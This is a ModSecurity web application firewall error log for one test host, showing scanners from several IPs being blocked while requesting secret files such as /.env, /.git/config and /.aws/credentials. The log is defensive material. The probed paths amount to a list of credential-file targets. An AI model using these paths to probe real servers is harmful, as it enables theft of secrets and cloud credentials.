[Thu Jul 10 08:36:11.181565 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aG9fW3X5p5YcoWIUq-xw4gAAAAc&quot;]
[Thu Jul 10 08:36:11.181780 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/index&quot;] [unique_id &quot;aG9fW3X5p5YcoWIUq-xw4gAAAAc&quot;]
[Thu Jul 10 08:36:11.426709 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aG9fW3X5p5YcoWIUq-xw4wAAAAc&quot;]
[Thu Jul 10 08:36:11.426948 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aG9fW3X5p5YcoWIUq-xw4wAAAAc&quot;]
[Thu Jul 10 08:36:11.427168 2025] [:error] [pid 1070356] [client 185.177.72.106:21552] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aG9fW3X5p5YcoWIUq-xw4wAAAAc&quot;]
[Thu Jul 10 18:17:59.747518 2025] [:error] [pid 1065737] [client 198.55.98.93:56390] [client 198.55.98.93] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aG_nt6LicSuvMVdabbq17wAAAAA&quot;]
[Thu Jul 10 18:17:59.747793 2025] [:error] [pid 1065737] [client 198.55.98.93:56390] [client 198.55.98.93] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aG_nt6LicSuvMVdabbq17wAAAAA&quot;]
[Thu Jul 10 18:17:59.747993 2025] [:error] [pid 1065737] [client 198.55.98.93:56390] [client 198.55.98.93] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aG_nt6LicSuvMVdabbq17wAAAAA&quot;]
[Sat Jul 12 04:01:32.920337 2025] [:error] [pid 1115432] [client 185.196.9.254:34814] [client 185.196.9.254] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aHHB_NkwnzHrCLmrjza7zQAAAAE&quot;]
[Sat Jul 12 04:01:32.920562 2025] [:error] [pid 1115432] [client 185.196.9.254:34814] [client 185.196.9.254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aHHB_NkwnzHrCLmrjza7zQAAAAE&quot;]
[Sat Jul 12 04:01:32.920763 2025] [:error] [pid 1115432] [client 185.196.9.254:34814] [client 185.196.9.254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aHHB_NkwnzHrCLmrjza7zQAAAAE&quot;]
[Sat Jul 12 04:01:33.028129 2025] [:error] [pid 1115466] [client 185.196.9.254:34816] [client 185.196.9.254] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aHHB_eW36A4SXctFIYd97gAAAAU&quot;]
[Sat Jul 12 04:01:33.028348 2025] [:error] [pid 1115466] [client 185.196.9.254:34816] [client 185.196.9.254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aHHB_eW36A4SXctFIYd97gAAAAU&quot;]
[Sat Jul 12 04:01:33.028506 2025] [:error] [pid 1115466] [client 185.196.9.254:34816] [client 185.196.9.254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aHHB_eW36A4SXctFIYd97gAAAAU&quot;]
[Sat Jul 12 10:44:19.460352 2025] [:error] [pid 1115431] [client 185.196.9.254:50020] [client 185.196.9.254] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aHIgY59SYBLWSo6Y5_UV2AAAAAA&quot;]
[Sat Jul 12 10:44:19.460586 2025] [:error] [pid 1115431] [client 185.196.9.254:50020] [client 185.196.9.254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aHIgY59SYBLWSo6Y5_UV2AAAAAA&quot;]
[Sat Jul 12 10:44:19.460758 2025] [:error] [pid 1115431] [client 185.196.9.254:50020] [client 185.196.9.254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aHIgY59SYBLWSo6Y5_UV2AAAAAA&quot;]
[Sat Jul 12 10:44:19.957139 2025] [:error] [pid 1115434] [client 185.196.9.254:50030] [client 185.196.9.254] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aHIgY7d0EagJv6KXBMLiXAAAAAM&quot;]
[Sat Jul 12 10:44:19.957348 2025] [:error] [pid 1115434] [client 185.196.9.254:50030] [client 185.196.9.254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aHIgY7d0EagJv6KXBMLiXAAAAAM&quot;]
[Sat Jul 12 10:44:19.957546 2025] [:error] [pid 1115434] [client 185.196.9.254:50030] [client 185.196.9.254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aHIgY7d0EagJv6KXBMLiXAAAAAM&quot;]
[Sat Jul 12 12:21:57.347946 2025] [:error] [pid 1115466] [client 185.196.9.254:47218] [client 185.196.9.254] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aHI3ReW36A4SXctFIYd-IQAAAAU&quot;]
[Sat Jul 12 12:21:57.348163 2025] [:error] [pid 1115466] [client 185.196.9.254:47218] [client 185.196.9.254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aHI3ReW36A4SXctFIYd-IQAAAAU&quot;]
[Sat Jul 12 12:21:57.348334 2025] [:error] [pid 1115466] [client 185.196.9.254:47218] [client 185.196.9.254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aHI3ReW36A4SXctFIYd-IQAAAAU&quot;]
[Sat Jul 12 12:21:57.471719 2025] [:error] [pid 1115433] [client 185.196.9.254:47222] [client 185.196.9.254] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aHI3RV5MDznUpDOCnZfZdAAAAAI&quot;]
[Sat Jul 12 12:21:57.471931 2025] [:error] [pid 1115433] [client 185.196.9.254:47222] [client 185.196.9.254] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aHI3RV5MDznUpDOCnZfZdAAAAAI&quot;]
[Sat Jul 12 12:21:57.472110 2025] [:error] [pid 1115433] [client 185.196.9.254:47222] [client 185.196.9.254] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;aHI3RV5MDznUpDOCnZfZdAAAAAI&quot;]
[Sat Jul 12 13:53:19.081412 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAfwAAAAk&quot;]
[Sat Jul 12 13:53:19.081685 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAfwAAAAk&quot;]
[Sat Jul 12 13:53:19.081880 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAfwAAAAk&quot;]
[Sat Jul 12 13:53:19.231022 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAhAAAAAk&quot;]
[Sat Jul 12 13:53:19.231273 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAhAAAAAk&quot;]
[Sat Jul 12 13:53:19.231463 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAhAAAAAk&quot;]
[Sat Jul 12 13:53:19.260365 2025] [:error] [pid 1123160] [client 185.177.72.104:59808] [client 185.177.72.104] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aHJMryPJPBKDl1q3ZLVAhQAAAAk&quot;]
